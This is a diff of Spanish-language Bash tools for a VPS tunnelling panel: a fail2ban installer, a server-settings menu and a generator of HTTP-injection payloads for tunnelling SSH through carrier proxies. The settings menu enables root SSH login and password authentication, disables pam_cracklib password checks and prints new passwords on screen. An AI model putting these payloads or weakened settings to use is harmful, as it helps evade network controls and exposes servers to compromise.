+msg -bar2
+echo -e "\033[1;93m Recuerde escojer entre 1 DNS ya sea el de USA,BR,MX,CL \n segun le aya entregado el BOT."
+echo ""
+echo -e "\033[1;97m Ingrese su DNS a usar: \033[0;91m"; read -p "   "  dnsp
+echo ""
+msg -bar2
+read -p " Estas seguro de continuar?  [ s | n ]: " dnsnetflix   
+[[ "$dnsnetflix" = "s" || "$dnsnetflix" = "S" ]] && dnsnetflix
+msg -bar2

+ 432 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/fai2ban.sh

@@ -0,0 +1,432 @@
+#!/bin/bash
+#27/01/2021
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+pid_fail=$(dpkg -l | grep fail2ban | grep ii)
+apache=$(dpkg -l | grep apache2 | grep ii)
+squid=$(dpkg -l | grep squid | grep ii)
+dropbear=$(dpkg -l | grep dropbear | grep ii)
+openssh=$(dpkg -l | grep openssh | grep ii)
+stunnel4=$(dpkg -l | grep stunnel4 | grep ii)
+[[ "$openssh" != "" ]] && s1="ssh"
+[[ "$squid" != "" ]] && s2="squid"
+[[ "$dropbear" != "" ]] && s3="dropbear"
+[[ "$apache" != "" ]] && s4="apache"
+[[ "$stunnel4" != "" ]] && s5="stunnel4"
+clear
+clear
+msg -bar
+msg -tit
+echo -e "\e[93m         --   Fail2ban Protection v0.11.2 -- "
+echo -e "\e[97m          Anti ataques DDOS y spoofing SPAM"
+msg -bar
+if [[ ! -z "$pid_fail" ]]; then
+ echo -e "${cor[2]} [1] >${cor[5]} $(fun_trans "Desinstalar Fail2ban")"
+ echo -e "${cor[2]} [2] >\e[92m $(fun_trans "Mirar el registro")"
+ msg -bar
+  while [[ -z ${logxyz} || ${logxyz} != @(1|2) ]]; do
+   echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read logxyz
+   tput cuu1 && tput dl1
+  done
+ case ${logxyz} in
+  1)apt-get remove fail2ban -y &> /dev/null;;
+  2)cat /var/log/fail2ban.log 
+    msg -bar;;
+ esac
+exit 0
+fi
+echo -e "${cor[5]}        Desea Instalar  Fail2ban?"
+msg -bar
+  while [[ -z ${fail2ban} || ${fail2ban} != @(s|S|n|N|y|Y) ]]; do
+   echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion") [S/N]: " && read fail2ban
+   tput cuu1 && tput dl1
+  done
+if [[ "$fail2ban" = @(s|S|y|Y) ]]; then
+apt-get install fail2ban -y &> /dev/null
+wget -O $HOME/fail2ban https://github.com/fail2ban/fail2ban/archive/0.11.2.tar.gz &> /dev/null
+tar -xf $HOME/fail2ban &> /dev/null
+cd $HOME/fail2ban-0.11.2 &> /dev/null
+python ./setup.py install &> /dev/null
+echo '[INCLUDES]
+before = paths-debian.conf
+[DEFAULT]
+ignoreip = 127.0.0.1/8
+# ignorecommand = /path/to/command <ip>
+ignorecommand =
+bantime  = 1036800
+findtime  = 3600
+maxretry = 5
+backend = auto
+usedns = warn
+logencoding = auto
+enabled = false
+filter = %(__name__)s
+destemail = root@localhost
+sender = root@localhost
+mta = sendmail
+protocol = tcp
+chain = INPUT
+port = 0:65535
+fail2ban_agent = Fail2Ban/%(fail2ban_version)s
+banaction = iptables-multiport
+banaction_allports = iptables-allports
+action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+            %(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"]
+action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+             %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
+action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+             xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"]
+action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"]
+                %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
+action_blocklist_de  = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"]
+action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"]
+action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"]
+action = %(action_)s' > /etc/fail2ban/jail.local
+echo -ne "${cor[5]} $(fun_trans "Fail2ban sera activo en los Siguientes\n Puertos y Servicos"):"
+echo ""
+msg -bar
+echo -ne "\n"
+[ "$s1" != "" ] && echo -ne " $s1"
+[ "$s2" != "" ] && echo -ne " $s2"
+[ "$s3" != "" ] && echo -ne " $s3"
+[ "$s4" != "" ] && echo -ne " $s4"
+[ "$s5" != "" ] && echo -ne " $s5"
+echo -ne "\n"
+echo -ne "\n"
+msg -bar
+sleep 1
+if [[ "$s1" != "" ]]; then
+echo '[sshd]
+enabled = true
+port    = ssh
+logpath = %(sshd_log)s
+backend = %(sshd_backend)s
+[sshd-ddos]
+enabled = true
+port    = ssh
+logpath = %(sshd_log)s
+backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local
+else
+echo '[sshd]
+port    = ssh
+logpath = %(sshd_log)s
+backend = %(sshd_backend)s
+[sshd-ddos]
+port    = ssh
+logpath = %(sshd_log)s
+backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local
+fi
+if [[ "$s2" != "" ]]; then
+echo '[squid]
+enabled = true
+port     =  80,443,3128,8080
+logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local
+else
+echo '[squid]
+port     =  80,443,3128,8080
+logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local
+fi
+if [[ "$s3" != "" ]]; then
+echo '[dropbear]
+enabled = true
+port     = ssh
+logpath  = %(dropbear_log)s
+backend  = %(dropbear_backend)s' >> /etc/fail2ban/jail.local
+else
+echo '[dropbear]
+port     = ssh
+logpath  = %(dropbear_log)s
+backend  = %(dropbear_backend)s' >> /etc/fail2ban/jail.local
+fi
+if [[ "$s4" != "" ]]; then
+echo '[apache-auth]
+enabled = true
+port     = http,https
+logpath  = %(apache_error_log)s' >> /etc/fail2ban/jail.local
+else
+echo '[apache-auth]
+port     = http,https
+logpath  = %(apache_error_log)s' >> /etc/fail2ban/jail.local
+fi
+echo '[selinux-ssh]
+port     = ssh
+logpath  = %(auditd_log)s
+[apache-badbots]
+port     = http,https
+logpath  = %(apache_access_log)s
+bantime  = 172800
+maxretry = 1
+[apache-noscript]
+port     = http,https
+logpath  = %(apache_error_log)s
+[apache-overflows]
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+[apache-nohome]
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+[apache-botsearch]
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+[apache-fakegooglebot]
+port     = http,https
+logpath  = %(apache_access_log)s
+maxretry = 1
+ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot <ip>
+[apache-modsecurity]
+port     = http,https
+logpath  = %(apache_error_log)s
+maxretry = 2
+[apache-shellshock]
+port    = http,https
+logpath = %(apache_error_log)s
+maxretry = 1
+[openhab-auth]
+filter = openhab
+action = iptables-allports[name=NoAuthFailures]
+logpath = /opt/openhab/logs/request.log
+[nginx-http-auth]
+port    = http,https
+logpath = %(nginx_error_log)s
+[nginx-limit-req]
+port    = http,https
+logpath = %(nginx_error_log)s
+[nginx-botsearch]
+port     = http,https
+logpath  = %(nginx_error_log)s
+maxretry = 2
+[php-url-fopen]
+port    = http,https
+logpath = %(nginx_access_log)s
+          %(apache_access_log)s
+[suhosin]
+port    = http,https
+logpath = %(suhosin_log)s
+[lighttpd-auth]
+port    = http,https
+logpath = %(lighttpd_error_log)s
+[roundcube-auth]
+port     = http,https
+logpath  = %(roundcube_errors_log)s
+[openwebmail]
+port     = http,https
+logpath  = /var/log/openwebmail.log
+[horde]
+port     = http,https
+logpath  = /var/log/horde/horde.log
+[groupoffice]
+port     = http,https
+logpath  = /home/groupoffice/log/info.log
+[sogo-auth]
+port     = http,https
+logpath  = /var/log/sogo/sogo.log
+[tine20]
+logpath  = /var/log/tine20/tine20.log
+port     = http,https
+[drupal-auth]
+port     = http,https
+logpath  = %(syslog_daemon)s
+backend  = %(syslog_backend)s
+[guacamole]
+port     = http,https
+logpath  = /var/log/tomcat*/catalina.out
+[monit]
+#Ban clients brute-forcing the monit gui login
+port = 2812
+logpath  = /var/log/monit
+[webmin-auth]
+port    = 10000
+logpath = %(syslog_authpriv)s
+backend = %(syslog_backend)s
+[froxlor-auth]
+port    = http,https
+logpath  = %(syslog_authpriv)s
+backend  = %(syslog_backend)s
+[3proxy]
+port    = 3128
+logpath = /var/log/3proxy.log
+[proftpd]
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(proftpd_log)s
+backend  = %(proftpd_backend)s
+[pure-ftpd]
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(pureftpd_log)s
+backend  = %(pureftpd_backend)s
+[gssftpd]
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(syslog_daemon)s
+backend  = %(syslog_backend)s
+[wuftpd]
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(wuftpd_log)s
+backend  = %(wuftpd_backend)s
+[vsftpd]
+port     = ftp,ftp-data,ftps,ftps-data
+logpath  = %(vsftpd_log)s
+[assp]
+port     = smtp,465,submission
+logpath  = /root/path/to/assp/logs/maillog.txt
+[courier-smtp]
+port     = smtp,465,submission
+logpath  = %(syslog_mail)s
+backend  = %(syslog_backend)s
+[postfix]
+port     = smtp,465,submission
+logpath  = %(postfix_log)s
+backend  = %(postfix_backend)s
+[postfix-rbl]
+port     = smtp,465,submission
+logpath  = %(postfix_log)s
+backend  = %(postfix_backend)s
+maxretry = 1
+[sendmail-auth]
+port    = submission,465,smtp
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+[sendmail-reject]
+port     = smtp,465,submission
+logpath  = %(syslog_mail)s
+backend  = %(syslog_backend)s
+[qmail-rbl]
+filter  = qmail
+port    = smtp,465,submission
+logpath = /service/qmail/log/main/current
+[dovecot]
+port    = pop3,pop3s,imap,imaps,submission,465,sieve
+logpath = %(dovecot_log)s
+backend = %(dovecot_backend)s
+[sieve]
+port   = smtp,465,submission
+logpath = %(dovecot_log)s
+backend = %(dovecot_backend)s
+[solid-pop3d]
+port    = pop3,pop3s
+logpath = %(solidpop3d_log)s
+[exim]
+port   = smtp,465,submission
+logpath = %(exim_main_log)s
+[exim-spam]
+port   = smtp,465,submission
+logpath = %(exim_main_log)s
+[kerio]
+port    = imap,smtp,imaps,465
+logpath = /opt/kerio/mailserver/store/logs/security.log
+[courier-auth]
+port     = smtp,465,submission,imap3,imaps,pop3,pop3s
+logpath  = %(syslog_mail)s
+backend  = %(syslog_backend)s
+[postfix-sasl]
+port     = smtp,465,submission,imap3,imaps,pop3,pop3s
+logpath  = %(postfix_log)s
+backend  = %(postfix_backend)s
+[perdition]
+port   = imap3,imaps,pop3,pop3s
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+[squirrelmail]
+port = smtp,465,submission,imap2,imap3,imaps,pop3,pop3s,http,https,socks
+logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log
+[cyrus-imap]
+port   = imap3,imaps
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+[uwimap-auth]
+port   = imap3,imaps
+logpath = %(syslog_mail)s
+backend = %(syslog_backend)s
+[named-refused]
+port     = domain,953
+logpath  = /var/log/named/security.log
+[nsd]
+port     = 53
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+logpath = /var/log/nsd.log
+[asterisk]
+port     = 5060,5061
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+           %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
+logpath  = /var/log/asterisk/messages
+maxretry = 10
+[freeswitch]
+port     = 5060,5061
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+           %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
+logpath  = /var/log/freeswitch.log
+maxretry = 10
+[mysqld-auth]
+port     = 3306
+logpath  = %(mysql_log)s
+backend  = %(mysql_backend)s
+[recidive]
+logpath  = /var/log/fail2ban.log
+banaction = %(banaction_allports)s
+bantime  = 604800  ; 1 week
+findtime = 86400   ; 1 day
+[pam-generic]
+banaction = %(banaction_allports)s
+logpath  = %(syslog_authpriv)s
+backend  = %(syslog_backend)s
+[xinetd-fail]
+banaction = iptables-multiport-log
+logpath   = %(syslog_daemon)s
+backend   = %(syslog_backend)s
+maxretry  = 2
+[stunnel]
+logpath = /var/log/stunnel4/stunnel.log
+[ejabberd-auth]
+port    = 5222
+logpath = /var/log/ejabberd/ejabberd.log
+[counter-strike]
+logpath = /opt/cstrike/logs/L[0-9]*.log
+# Firewall: http://www.cstrike-planet.com/faq/6
+tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039
+udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015
+action  = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
+[nagios]
+logpath  = %(syslog_daemon)s     ; nrpe.cfg may define a different log_facility
+backend  = %(syslog_backend)s
+maxretry = 1
+[directadmin]
+logpath = /var/log/directadmin/login.log
+port = 2222
+[portsentry]
+logpath  = /var/lib/portsentry/portsentry.history
+maxretry = 1
+[pass2allow-ftp]
+# this pass2allow example allows FTP traffic after successful HTTP authentication
+port         = ftp,ftp-data,ftps,ftps-data
+# knocking_url variable must be overridden to some secret value in filter.d/apache-pass.local
+filter       = apache-pass
+# access log of the website with HTTP auth
+logpath      = %(apache_access_log)s
+blocktype    = RETURN
+returntype   = DROP
+bantime      = 3600
+maxretry     = 1
+findtime     = 1
+[murmur]
+port     = 64738
+action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp]
+           %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp]
+logpath  = /var/log/mumble-server/mumble-server.log
+[screensharingd]
+logpath  = /var/log/system.log
+logencoding = utf-8
+[haproxy-http-auth]
+logpath  = /var/log/haproxy.log' >> /etc/fail2ban/jail.local
+
+
+[[ -e $HOME/fail2ban ]] && rm $HOME/fail2ban
+[[ -d $HOME/fail2ban-0.11.2 ]] && rm -rf $HOME/fail2ban-0.11.2
+
+cd 
+service fail2ban restart
+fi

+ 228 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/gestor.sh

@@ -0,0 +1,228 @@
+# !/bin/bash
+# 27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<10; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.2
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1
+tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m"
+sleep 1s
+}
+
+update_pak () {
+echo -ne " \033[1;31m[ ! ] apt-get update"
+apt-get update -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] apt-get upgrade"
+apt-get upgrade -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+msg -bar
+return
+}
+
+reiniciar_ser () {
+echo -ne " \033[1;31m[ ! ] Services stunnel4 restart"
+service stunnel4 restart > /dev/null 2>&1
+[[ -e /etc/init.d/stunnel4 ]] && /etc/init.d/stunnel4 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services squid restart"
+service squid restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services squid3 restart"
+service squid3 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services apache2 restart"
+service apache2 restart > /dev/null 2>&1
+[[ -e /etc/init.d/apache2 ]] && /etc/init.d/apache2 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services openvpn restart"
+service openvpn restart > /dev/null 2>&1
+[[ -e /etc/init.d/openvpn ]] && /etc/init.d/openvpn restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services dropbear restart"
+service dropbear restart > /dev/null 2>&1
+[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services ssh restart"
+service ssh restart > /dev/null 2>&1
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+echo -ne " \033[1;31m[ ! ] Services fail2ban restart"
+( 
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart
+fail2ban-client -x stop && fail2ban-client -x start
+) > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+msg -bar
+return
+}
+
+reiniciar_vps () {
+echo -ne " \033[1;31m[ ! ] Sudo Reboot"
+sleep 3s
+echo -e "\033[1;32m [OK]"
+(
+sudo reboot
+) > /dev/null 2>&1
+msg -bar
+return
+}
+
+host_name () {
+unset name
+while [[ ${name} = "" ]]; do
+echo -ne "\033[1;37m $(fun_trans "Nuevo nombre del host"): " && read name
+tput cuu1 && tput dl1
+done
+hostnamectl set-hostname $name 
+if [ $(hostnamectl status | head -1  | awk '{print $3}') = "${name}" ]; then 
+echo -e "\033[1;33m $(fun_trans "Host alterado corretamente")!, $(fun_trans "reiniciar VPS")"
+else
+echo -e "\033[1;33m $(fun_trans "Host no modificado")!"
+fi
+msg -bar
+return
+}
+
+cambiopass () {
+echo -e "${cor[3]} $(fun_trans "Esta herramienta cambia la contraseña de su servidor vps")"
+echo -e "${cor[3]} $(fun_trans "Esta contraseña es utilizada como usuario") root"
+msg -bar
+echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "; read x
+[[ $x = @(n|N) ]] && msg -bar && return
+msg -bar
+#Inicia Procedimentos
+echo -e "${cor[0]} $(fun_trans "Escriba su nueva contraseña")"
+msg -bar
+read  -p " Nuevo passwd: " pass
+(echo $pass; echo $pass)|passwd 2>/dev/null
+sleep 1s
+msg -bar
+echo -e "${cor[3]} $(fun_trans "Contraseña cambiada con exito!")"
+echo -e "${cor[2]} $(fun_trans "Su contraseña ahora es"): ${cor[4]}$pass"
+msg -bar
+return
+}
+
+rootpass () {
+clear
+msg -bar
+echo -e "${cor[3]}  Esta herramienta cambia a usuario root las VPS de "
+echo -e "${cor[3]}             GoogleCloud y Amazon"
+msg -bar
+echo -ne " Desea Seguir? [S/N]: "; read x
+[[ $x = @(n|N) ]] && msg -bar && return
+msg -bar
+#Inicia Procedimentos
+echo -e "                 Aplicando Configuraciones"
+fun_bar "service ssh restart"
+#Parametros Aplicados
+sed -i "s;PermitRootLogin prohibit-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
+sed -i "s;PermitRootLogin without-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
+sed -i "s;PasswordAuthentication no;PasswordAuthentication yes;g" /etc/ssh/sshd_config
+msg -bar
+echo -e "Escriba su contraseña root actual o cambiela"
+msg -bar
+read  -p " Nuevo passwd: " pass
+(echo $pass; echo $pass)|passwd 2>/dev/null
+sleep 1s
+msg -bar
+echo -e "${cor[3]} Configuraciones aplicadas con exito!"
+echo -e "${cor[2]} Su contraseña ahora es: ${cor[4]}$pass"
+service ssh restart > /dev/null 2>&1
+msg -bar
+return
+}
+
+
+pamcrack () {
+echo -e "${cor[3]} $(fun_trans "Liberar passwd para VURTL")"
+msg -bar
+echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "; read x
+[[ $x = @(n|N) ]] && msg -bar && return
+echo -e ""
+fun_bar "service ssh restart"
+sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password
+fun_bar "service ssh restart"
+echo -e ""
+echo -e " \033[1;31m[ ! ]\033[1;33m $(fun_trans "Configuraciones VURTL aplicadas")"
+msg -bar
+return
+}
+
+timemx () {
+rm -rf /etc/localtime
+ln -s /usr/share/zoneinfo/America/Merida /etc/localtime
+echo -e " FECHA LOCAL MX APLICADA!"
+}
+
+timearg () {
+rm -rf /etc/localtime
+ln -sf /usr/share/zoneinfo/America/Argentina/Buenos_Aires /etc/localtime
+echo -e " FECHA LOCAL ARG APLICADA!"
+}
+
+
+gestor_fun () {
+clear
+msg -bar
+msg -tit
+echo -e " ${cor[3]}             AJUSTES INTERNOS DEL VPS  "
+msg -bar
+while true; do
+echo -e "${cor[4]} [1] > \033[1;36mACTULIZAR VPS"
+echo -e "${cor[4]} [2] > \033[1;36mREINICIAR SERVICIOS"
+echo -e "${cor[4]} [3] > \033[1;36mREINICIAR VPS"
+echo -e "${cor[4]} [4] > \033[1;36mCAMBIAR HOSTNAME VPS"
+echo -e "${cor[4]} [5] > \033[1;36mCAMBIAR CONTRASEÑA ROOT"
+echo -e "${cor[4]} [6] > \033[1;36mCAMBIAR HORA LOCAL MX"
+echo -e "${cor[4]} [7] > \033[1;36mCAMBIAR HORA LOCAL ARG"
+echo -e "${cor[2]} [8] > \033[1;100mAGREGAR ROOT a GoogleCloud y Amazon \033[0;37m"
+echo -e "$(msg -bar)\n${cor[4]} [0] > \e[97m\033[1;41m VOLVER \033[1;37m"
+while [[ ${opx} != @(0|[1-9]) ]]; do
+msg -bar
+echo -ne " Seleccione una Opcion: \033[1;37m" && read opx
+tput cuu1 && tput dl1
+done
+case $opx in
+	0)
+	return;;
+	1)
+	update_pak
+	break;;
+	2)
+	reiniciar_ser
+	break;;
+	3)
+	reiniciar_vps
+	break;;
+	4)
+	host_name
+	break;;
+	5)
+	cambiopass
+	break;;
+	6)
+	timemx
+	break;;
+	7)
+	timearg
+	break;;
+	8)
+	rootpass
+	break;;
+esac
+done
+}
+gestor_fun

+ 289 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/paysnd.sh

@@ -0,0 +1,289 @@
+#!/bin/bash
+#19/12/2019
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+construct_fun () {
+payload="$1"
+sed -i 's/.crlf]/\\r\\n&/g' ${payload}
+sed -i "s/.crlf]//g" ${payload}
+sed -i 's/.cr]/\\r&/g' ${payload}
+sed -i "s/.cr]//g" ${payload}
+sed -i 's/.lf]/\\n&/g' ${payload}
+sed -i "s/.lf]//g" ${payload}
+sed -i "s/.auth]//g" ${payload}
+sed -i 's/.delay_split]/\\r\\n&/g' ${payload}
+sed -i "s/.delay_split]//g" ${payload}
+sed -i 's/.instant_split]/\\r\\n&/g' ${payload}
+sed -i "s/.instant_split]//g" ${payload}
+sed -i 's/.split]/\\r\\n&/g' ${payload}
+sed -i "s/.split]//g" ${payload}
+sed -i "s;.host_port];${hostprox}:22;g" ${payload}
+sed -i "s;.host];${proxy};g" ${payload}
+sed -i "s;.port];:22;g" ${payload}
+sed -i 's;.protocol];HTTP/1.0;g' ${payload}
+sed -i 's;.ua];Dalvik/2.1.0;g' ${payload}
+sed -i 's;.method];CONNECT;g' ${payload}
+sed -i "s;.raw];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
+sed -i "s;.netData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
+sed -i "s;.realData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
+}
+esquelet="./payloads.txt"
+gerar_arqpay () {
+echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf]
+CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf]
+GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
